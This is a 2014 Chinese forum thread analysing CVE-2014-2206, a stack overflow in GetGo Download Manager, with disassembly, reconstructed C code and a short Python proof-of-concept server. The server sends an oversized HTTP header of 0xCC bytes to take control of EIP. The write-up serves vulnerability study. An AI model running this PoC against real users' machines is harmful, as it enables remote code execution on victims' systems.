90_ 发表于 2014-3-9 11:30:54

CVE-2014-2206:远程代码执行漏洞大剖析

前些时候我发布了一篇关于远程代码执行漏洞的安全公告,被CVSS评了10分。该漏洞影响所有版本的GetGo DownloadManager,因此如果有读者在使用这款软件话,请务必用一款更安全的软件代替,因为GetGo项目已经不再被支持了,但是其再在cnet.com网站仍然评级依然很高。
本文简单介绍一下该bug的起因,并在打了全部补丁以及启用了DEP保护的Windows 7 64位系统上进行测试:
当向一个网站请求下载时,下载器会读取目标页面返回的HTTP响应头的值,并将该返回值保存到一块固定大小为4097字节的临时缓存中,但该尺寸并没有被用来限制拷贝到这块缓存中的输入的大小,只是将输入内容一个字节一个字节地拷贝到临时缓存中,直到遇到“\r\n”为止。因此如果HTTP响应头的大小超过了4097字节,就会被写到这块内存的界限之外了。
下面我们看一下这款下载器如何处理HTTP下载。

当用户像上图一样请求下载时,调试器跳转到断点0x004A4CF4处,正是包含漏洞的代码部分的入口点:
004A4CDE   . 8B4D 08      MOV ECX,DWORD PTR SS:
004A4CE1   . 51             PUSH ECX                                 ; /Arg3
004A4CE2   . 68 01100000    PUSH 1001                              ; |Arg2 = 00001001
004A4CE7   . 8D95 DCEFFFFFLEA EDX,DWORD PTR SS:          ; |
004A4CED   . 52             PUSH EDX                                 ; |Arg1
004A4CEE   . 8B8D 9CEFFFFFMOV ECX,DWORD PTR SS:          ; |
004A4CF4   . E8 77EDFFFF    CALL GetGoDM.004A3A70                  ; \GetGoDM.004A3A70
该函数包含三个参数,将其转换为相应的c语言风格的函数调用,如下所示:
int vuln_func(void *buffer, size_t arg2, int arg3)
栈内包含三个参数,参数1位于缓存的0x0430C390处,参数2位于0×00001001处,参数3位于0×00000078处,如图2所示:

小提示:本示例中你可以完全忽略参数3,因为该值只是用来表示ws2_32版本的select函数从socket中读取内容时的timeout时间:

这里发生了什么?
在vuln_func()中,第一组重要的指令集为:
004A3A9F|. 8B45 0C      MOV EAX,DWORD PTR SS:
004A3AA2|. 50             PUSH EAX
004A3AA3|. 6A 00          PUSH 0
004A3AA5|. 8B4D 08      MOV ECX,DWORD PTR SS:
004A3AA8|. 51             PUSH ECX
004A3AA9|. E8 F2650400    CALL GetGoDM.004EA0A0
位于0x004A3AA9 的函数使用的三个参数,正是其被调用时,父函数传进来的三个函数。系统将这3个参数压入栈:
0430C2E4   0430C390| arg1
0430C2E8   00000000| arg2
0430C2EC   00001001| arg3
该函数只相当于执行了一个简单的memset函数,因此函数调用如下所示:
void memset(void *arg1, int arg2, size_t arg3)
memset函数的功能很简单,用最多arg3个字节的unsigned char类型的数值(arg2)填充arg1指向的内存中,也就是说,地址0x430C390 指向的缓存空间被4097个0×00填充。
接下来对包含漏洞的代码部分进行分析:

这里需要对漏洞的构成做一些详细解释,因此下文将程序的一个循环分成两部分进行说明:
Part 1 在HTTP响应头中读取一个字节
004A3AE3|. 8B45 10      |MOV EAX,DWORD PTR SS:
004A3AE6|. 50             |PUSH EAX                              ; /Arg3
004A3AE7|. 6A 01          |PUSH 1                                  ; |Arg2 = 00000001
004A3AE9|. 8B4D F0      |MOV ECX,DWORD PTR SS:         ; |
004A3AEC|. 8B55 08      |MOV EDX,DWORD PTR SS:            ; |
004A3AEF|. 8D440A FF      |LEA EAX,DWORD PTR DS:      ; |
004A3AF3|. 50             |PUSH EAX                              ; |Arg1
004A3AF4|. 8B4D D8      |MOV ECX,DWORD PTR SS:         ; |
004A3AF7|. 83C1 0C      |ADD ECX,0C                              ; |
004A3AFA|. E8 81A4FFFF    |CALL GetGoDM.0049DF80                   ; \GetGoDM.0049DF80
地址0x004A3AFA 处的函数调用需要三个参数:
int read_byte(void *buffer, char *arg2, int arg3)
其中第一个参数arg1指向缓存,arg2总是0×00000001,arg3总是0×00000078。该函数从接收到的HTTP响应头中读取一个字节,如果成功,就把读取的值保存到arg1指向的缓存,并返回1。
结尾处的CMP指令用来判断读取是否成功,如果不成功就在0x004A3B0F处跳出循环。
004A3AFF|. 8945 E8      |MOV DWORD PTR SS:,EAX
004A3B02|. 837D E8 00   |CMP DWORD PTR SS:,0
004A3B06|. 75 09          |JNZ SHORT GetGoDM.004A3B11
004A3B08|. C745 EC 000000>|MOV DWORD PTR SS:,0
004A3B0F|. EB 49          |JMP SHORT GetGoDM.004A3B5A
Part 2 对比接收的字符串,直到遇到“\r\n”

004A3B26|. 6A 00          |PUSH 0                              ; /Arg2 = 00000000
004A3B28|. 68 F8D76600    |PUSH GetGoDM.0066D7F8               ; |Arg1 = 0066D7F8 ASCII "
"
004A3B2D|. 8D4D E4      |LEA ECX,DWORD PTR SS:       ; |
004A3B30|. E8 2B5AF6FF    |CALL GetGoDM.00409560               ; \GetGoDM.00409560
地址0x004A3B30 处的函数调用包含两个参数——参数1包含一个以“\r\n”结尾字符串,参数2总是0×00000000。同时该函数会从栈中读取已经接收的字节,并与“\r\n”进行比较:
0040959E|. 0345 0C      ADD EAX,DWORD PTR SS:             ; |
004095A1|. 50             PUSH EAX                                 ; |Arg1
004095A2|. E8 79120A00    CALL GetGoDM.004AA820                  ; \GetGoDM.004AA820

因此该函数可以构造成如下形式:
signed int search_teminator(*buffer, "\r\n", 0)
如果没有找到“\r\n”,则函数返回-1,并执行以下CMP指令:
004A3B38|. 837D E0 FF   |CMP DWORD PTR SS:,-1
004A3B3C|. 74 11          |JE SHORT GetGoDM.004A3B4F
即函数search_teminator()的返回值与-1比较,就是说如果JMP指令被执行了,表示以下指令也被程序执行了,包括利用JMP指令跳回到这段代码的开始部分:
004A3B4F|> 8B55 F0      |MOV EDX,DWORD PTR SS:
004A3B52|. 83C2 01      |ADD EDX,1
004A3B55|. 8955 F0      |MOV DWORD PTR SS:,EDX
004A3B58|.^EB 80          \JMP SHORT GetGoDM.004A3ADA
但是如果函数search_terminator()找到“\r\n”,会返回字符串的位置,CMP指令就会返回错误,以下指令就会被执行,并跳出循环:
004A3B3E|. 8B45 08      |MOV EAX,DWORD PTR SS:
004A3B41|. 0345 E0      |ADD EAX,DWORD PTR SS:
004A3B44|. C600 00      |MOV BYTE PTR DS:,0
004A3B47|. 8B4D E0      |MOV ECX,DWORD PTR SS:
004A3B4A|. 894D EC      |MOV DWORD PTR SS:,ECX
004A3B4D|. EB 0B          |JMP SHORT GetGoDM.004A3B5A
逆向工程
通过以上分析,可以将包含漏洞的代码转换为类似如下的C代码片段:
int vuln_func(void *buffer, size_t arg2, int arg3)
{
int a;
signed int b;

memset(void *buffer, 0, arg2);

while (1)
{
    a = read_byte(*buffer, 1 , arg3)
    if ( !a )
    {
      goto fail;
    }

    b = search_terminator(*buffer, "\r\n", 0)
    if ( b != -1 )
      break;
}

fail:
return 0;
}
看出其中的问题了吗?表示大小的参数(arg2)被memset函数用来准备内存空间,但while循环中会读取响应头中的所有字节,直到找到“\r\n”为止,完全忽略了arg2。那么,如果攻击者可以构造出多于4097个字节的HTTP响应头,就会导致写入的缓存超过内存的边界,也就构成了基于栈的缓冲区溢出条件,导致远程代码执行。
构造PoC
以下PoC代码创建了一个简单的web服务器,用来响应超出预期大小的HTTP头:
from socket import *
from time import sleep

host = "192.168.0.1"
port = 80

s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr

payload = "\xCC" * 9000

buffer = "HTTP/1.1 200 "+payload+"\r\n"

print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"

sleep(1)
cl.close()
s.close()
控制了EIP,就可以随心所欲XXOO了。是不是很爽:-)!

Lzzh 发表于 2014-3-9 12:29:38

完全不知所云啊,不过支持了。。。

a88166666 发表于 2014-3-10 17:22:52

LostSoul 发表于 2014-3-11 07:37:49

没能看懂      

blck 发表于 2014-3-14 19:11:17

看来有必要学学破解
页: [1]
查看完整版本: CVE-2014-2206:远程代码执行漏洞大剖析